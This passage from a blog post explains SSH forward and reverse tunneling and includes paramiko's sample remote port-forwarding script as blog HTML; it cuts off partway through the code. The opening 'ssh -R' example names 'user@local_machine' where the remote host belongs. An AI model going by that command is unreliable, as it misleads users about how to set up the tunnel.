<ul>
<li>Suppose you have a service on your local machine that you want someone on a remote machine to access securely. You can use the following command to create a reverse tunnel:<pre><code>ssh -R remote_port:local_machine:local_port user@local_machine
</code></pre>
This forwards traffic from <code>remote_port</code> on the remote machine to <code>local_port</code> on your local machine.</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>In both forward and reverse tunneling, the SSH protocol is used to create a secure, encrypted connection between the two machines, providing a secure way to transmit data over potentially insecure networks. These techniques are valuable for various scenarios, including remote access, bypassing network restrictions, and securing data transfer.</p>
</div>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="#!/usr/bin/env python

&quot;&quot;&quot;
Sample script showing how to do remote port forwarding over paramiko.

This script connects to the requested SSH server and sets up remote port
forwarding (the openssh -R option) from a remote port through a tunneled
connection to a destination reachable from the local machine.
&quot;&quot;&quot;

import getpass
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose(&quot;Forwarding request to %s:%d failed: %r&quot; % (host, port, e))
        return

    verbose(
        &quot;Connected!  Tunnel open %r -&gt; %r -&gt; %r&quot;
        % (chan.origin_addr, chan.getpeername(), (host, port))
    )
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose(&quot;Tunnel closed from %r&quot; % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    transport.request_port_forward(&quot;&quot;, server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(
            target=handler, args=(chan, remote_host, remote_port)
        )
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = &quot;&quot;&quot;\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
&quot;&quot;&quot;


def get_host_port(spec, default_port):
    &quot;&quot;&quot;parse 'hostname:22' into a host and port, with the port optional&quot;&quot;&quot;
    args = (spec.split(&quot;:&quot;, 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose

    parser = OptionParser(
        usage=&quot;usage: %prog [options] <ssh-server&gt;[:<server-port&gt;]&quot;,
        version=&quot;%prog 1.0&quot;,
        description=HELP,
    )
    parser.add_option(
        &quot;-q&quot;,
        &quot;--quiet&quot;,
        action=&quot;store_false&quot;,
        dest=&quot;verbose&quot;,
        default=True,
        help=&quot;squelch all informational output&quot;,
    )
    parser.add_option(
        &quot;-p&quot;,
        &quot;--remote-port&quot;,
        action=&quot;store&quot;,
        type=&quot;int&quot;,
        dest=&quot;port&quot;,
        default=DEFAULT_PORT,
        help=&quot;port on server to forward (default: %d)&quot; % DEFAULT_PORT,
    )
    parser.add_option(
        &quot;-u&quot;,
        &quot;--user&quot;,
        action=&quot;store&quot;,
        type=&quot;string&quot;,
        dest=&quot;user&quot;,
        default=getpass.getuser(),
        help=&quot;username for SSH authentication (default: %s)&quot;
        % getpass.getuser(),
    )
    parser.add_option(
        &quot;-K&quot;,
        &quot;--key&quot;,
        action=&quot;store&quot;,
        type=&quot;string&quot;,
        dest=&quot;keyfile&quot;,
        default=None,
        help=&quot;private key file to use for SSH authentication&quot;,
    )
    parser.add_option(
        &quot;&quot;,
        &quot;--no-key&quot;,
        action=&quot;store_false&quot;,
        dest=&quot;look_for_keys&quot;,
        default=True,
        help=&quot;don't look for or use a private key file&quot;,
    )
    parser.add_option(
        &quot;-P&quot;,
        &quot;--password&quot;,
        action=&quot;store_true&quot;,
        dest=&quot;readpass&quot;,
        default=False,
        help=&quot;read password (for key or password auth) from stdin&quot;,
    )
    parser.add_option(
        &quot;-r&quot;,
        &quot;--remote&quot;,
        action=&quot;store&quot;,
        type=&quot;string&quot;,
        dest=&quot;remote&quot;,
        default=None,
        metavar=&quot;host:port&quot;,
        help=&quot;remote host and port to forward to&quot;,
    )
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error(&quot;Incorrect number of arguments.&quot;)
    if options.remote is None:
        parser.error(&quot;Remote address required (-r).&quot;)

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass(&quot;Enter SSH password: &quot;)

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose(&quot;Connecting to ssh host %s:%d ...&quot; % (server[0], server[1]))
    try:
        client.connect(
            server[0],
            server[1],
            username=options.user,
            key_filename=options.keyfile,
            look_for_keys=options.look_for_keys,
            password=password,
        )
    except Exception as e:
        print(&quot;*** Failed to connect to %s:%d: %r&quot; % (server[0], server[1], e))
        sys.exit(1)

    verbose(
        &quot;Now forwarding remote port %d to %s:%d ...&quot;
        % (options.port, remote[0], remote[1])
    )

    try:
        reverse_forward_tunnel(
            options.port, remote[0], remote[1], client.get_transport()
        )
    except KeyboardInterrupt:
        print(&quot;C-c: Port forwarding stopped.&quot;)
        sys.exit(0)


if __name__ == &quot;__main__&quot;:
    main()" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#!/usr/bin/env python</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">&quot;&quot;&quot;</span></span>
<span class="line"><span style="color: #E6DB74">Sample script showing how to do remote port forwarding over paramiko.</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">This script connects to the requested SSH server and sets up remote port</span></span>
<span class="line"><span style="color: #E6DB74">forwarding (the openssh -R option) from a remote port through a tunneled</span></span>
<span class="line"><span style="color: #E6DB74">connection to a destination reachable from the local machine.</span></span>
<span class="line"><span style="color: #E6DB74">&quot;&quot;&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> getpass</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> select</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> sys</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> optparse </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> OptionParser</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> paramiko</span></span>
<span class="line"></span>
<span class="line"><span style="color: #AE81FF">SSH_PORT</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">22</span></span>
<span class="line"><span style="color: #AE81FF">DEFAULT_PORT</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4000</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">g_verbose </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">handler</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">chan</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">host</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">port</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    sock </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        sock.connect((host, port))</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">Exception</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">        verbose(</span><span style="color: #E6DB74">&quot;Forwarding request to </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> failed: </span><span style="color: #AE81FF">%r</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (host, port, e))</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    verbose(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;Connected!  Tunnel open </span><span style="color: #AE81FF">%r</span><span style="color: #E6DB74"> -&gt; </span><span style="color: #AE81FF">%r</span><span style="color: #E6DB74"> -&gt; </span><span style="color: #AE81FF">%r</span><span style="color: #E6DB74">&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (chan.origin_addr, chan.getpeername(), (host, port))</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        r, w, x </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> select.select([sock, chan], [], [])</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> sock </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> r:</span></span>
<span class="line"><span style="color: #F8F8F2">            data </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sock.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(data) </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">break</span></span>
<span class="line"><span style="color: #F8F8F2">            chan.send(data)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> chan </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> r:</span></span>
<span class="line"><span style="color: #F8F8F2">            data </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> chan.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(data) </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">break</span></span>
<span class="line"><span style="color: #F8F8F2">            sock.send(data)</span></span>
<span class="line"><span style="color: #F8F8F2">    chan.close()</span></span>
<span class="line"><span style="color: #F8F8F2">    sock.close()</span></span>
<span class="line"><span style="color: #F8F8F2">    verbose(</span><span style="color: #E6DB74">&quot;Tunnel closed from </span><span style="color: #AE81FF">%r</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (chan.origin_addr,))</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">reverse_forward_tunnel</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">server_port</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">remote_host</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">remote_port</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">transport</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    transport.request_port_forward(</span><span style="color: #E6DB74">&quot;&quot;</span><span style="color: #F8F8F2">, server_port)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        chan </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> transport.accept(</span><span style="color: #AE81FF">1000</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> chan </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">continue</span></span>
<span class="line"><span style="color: #F8F8F2">        thr </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">handler, </span><span style="color: #FD971F; font-style: italic">args</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">(chan, remote_host, remote_port)</span></span>
<span class="line"><span style="color: #F8F8F2">        )</span></span>
<span class="line"><span style="color: #F8F8F2">        thr.setDaemon(</span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        thr.start()</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">verbose</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">s</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> g_verbose:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(s)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #AE81FF">HELP</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;&quot;&quot;</span><span style="color: #AE81FF">\</span></span>
<span class="line"><span style="color: #E6DB74">Set up a reverse forwarding tunnel across an SSH server, using paramiko. A</span></span>
<span class="line"><span style="color: #E6DB74">port on the SSH server (given with -p) is forwarded across an SSH session</span></span>
<span class="line"><span style="color: #E6DB74">back to the local machine, and out to a remote site reachable from this</span></span>
<span class="line"><span style="color: #E6DB74">network. This is similar to the openssh -R option.</span></span>
<span class="line"><span style="color: #E6DB74">&quot;&quot;&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">get_host_port</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">spec</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">default_port</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #E6DB74">&quot;&quot;&quot;parse &#39;hostname:22&#39; into a host and port, with the port optional&quot;&quot;&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">    args </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> (spec.split(</span><span style="color: #E6DB74">&quot;:&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> [default_port])[:</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">    args[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">] </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">int</span><span style="color: #F8F8F2">(args[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">])</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> args[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], args[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">parse_options</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> g_verbose</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    parser </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> OptionParser(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">usage</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;usage: %prog [options] &lt;ssh-server&gt;[:&lt;server-port&gt;]&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">version</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;%prog 1.0&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">description</span><span style="color: #F92672">=</span><span style="color: #AE81FF">HELP</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-q&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--quiet&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store_false&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;verbose&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;squelch all informational output&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-p&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--remote-port&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">type</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;int&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;port&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #AE81FF">DEFAULT_PORT</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;port on server to forward (default: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">)&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">DEFAULT_PORT</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-u&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--user&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">type</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;string&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;user&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">getpass.getuser(),</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;username for SSH authentication (default: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">)&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> getpass.getuser(),</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-K&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--key&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">type</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;string&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;keyfile&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;private key file to use for SSH authentication&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--no-key&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store_false&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;look_for_keys&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;don&#39;t look for or use a private key file&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-P&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--password&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store_true&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;readpass&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #AE81FF">False</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;read password (for key or password auth) from stdin&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    parser.add_option(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-r&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;--remote&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">action</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;store&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">type</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;string&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">dest</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;remote&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">default</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">metavar</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;host:port&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">help</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;remote host and port to forward to&quot;</span><span style="color: #F8F8F2">,</span></span>
